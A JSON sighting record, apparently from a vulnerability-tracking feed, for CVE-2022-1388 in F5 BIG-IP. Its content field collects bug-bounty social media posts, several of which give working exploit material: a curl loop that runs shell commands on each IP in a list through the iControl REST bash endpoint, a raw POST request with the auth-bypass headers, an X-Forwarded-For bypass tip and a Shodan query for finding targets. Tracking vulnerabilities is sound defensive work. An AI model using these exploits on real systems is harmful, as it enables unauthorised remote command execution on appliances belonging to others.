{"uuid": "1f77bf14-ffaa-48ae-86c6-75e1ade9f1e9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "seen", "source": "https://t.me/bhhub/852", "content": "#BugBountyTips of the Day\n#CVE-2022-1388: F5 BIG-IP is great \ud83d\udd25   #infosec #bugbounty  https://t.co/0lPNO9RVfa\n---\nNeed to resolve a massive list of subdomains, but the lack of enough resolvers is slowing you down?  Presenting the most exhaustive list of reliable DNS resolvers with more than 9000 validated nameservers!   https://t.co/LyWNpMb7Gq  #infosec #recon #bugbountytips #redteam\n---\nExploit F5 Big IP  Using Curl   CVE-2022-1388   cat ips.txt | while read ip; do curl -su admin -H \"Content-Type: application/json\"  http://$ip/mgmt/tm/util/bash -d '{\"command\":\"run\",\"utilCmdArgs\":\"-c id\"}';done  did i miss something ?   #bugbountytip  #bugbonty  #infosec  https://t.co/2QAxOCpI5C\n---\nF5 BIG-IP Remote Command Execution 401 bypass X-Forwarded-For: 127.0.0.1 #bugbountytip #bugbountytips #F5 #CyberSecurity  https://t.co/kqD5rTN1ri\n---\nScan for F5 BIG-IP iControl REST Auth Bypass RCE (CVE-2022-1388) using nuclei template shared by @dwisiswant0   Template PR:  https://t.co/SgK8VtT5PB  Advisory:  https://t.co/DIihNIfm4X  #hackwithautomation #security #bugbounty #appsec  https://t.co/DGjjpYK6Jj\n---\nIDOR is my favourite..\u2764\ufe0f I found another IDOR another with high severity. Just needed to change last one digit of organization id & was able send message to every user of other org.  #bugbounty #bugcrowd #pentest #informationsecurity  https://t.co/CfN9pM0wDL\n---\n#PoC for CVE-2022-1388 is out, grab it here! Added #shodan query!  https://t.co/grsBLUt8eL #bugbounty #bugbountytips #infosec #cybersecurity  https://t.co/WP8oje5Kh9\n---\nPOC, CVE-2022-1388  F5 Big-IP RCE #bugbounty #nday  https://t.co/VLt2UjEWkf\n---\n#CVE CVE-2022-1388 F5 BIG-IP Unauthenticated #RCE Vulnerability  #POC Use POST request to execute \"cat /etc/passwd\" command  #Shodan:   http.title:\"BIG-IP®-+Redirect\" +\"Server\"    #Nuclei:  https://t.co/p5gwsejbck  #Cyber #CyberSecurity #CyberAttack #InfoSec #Hacking #BugBounty  https://t.co/ob1znAKymd\n---\nCVE-2022-1388 #POC  POST /mgmt/tm/util/bash HTTP/1.1 Host:  https://t.co/0914iS1U74 Content-Length: 115 Connection: Keep-Alive Content-Length: 0 Cache-Control: max-age=0 X-F5-Auth-Token: Authorization: Basic YWRtaW46  { \"command\":\"run\", \"utilCmdArgs\":\"-c id\" }  #bugbounty #infosec\n---\n========= Master XSS   =========  Share this with your friends \ud83d\ude00  Tags: #cybersecurity #hacking #bugbounty #xss #masterXSS #infosec #offsec #labs  Check :\ud83e\uddf50/n \ud83d\udc47\n---\n\u270b Stop scrolling!  \ud83d\udc40 On the hunt for #BugBountyTips? \ud83d\udcdd: @alexander_pick  https://t.co/ShYkhK3SQP", "creation_timestamp": "2022-05-10T13:37:04.000000Z"}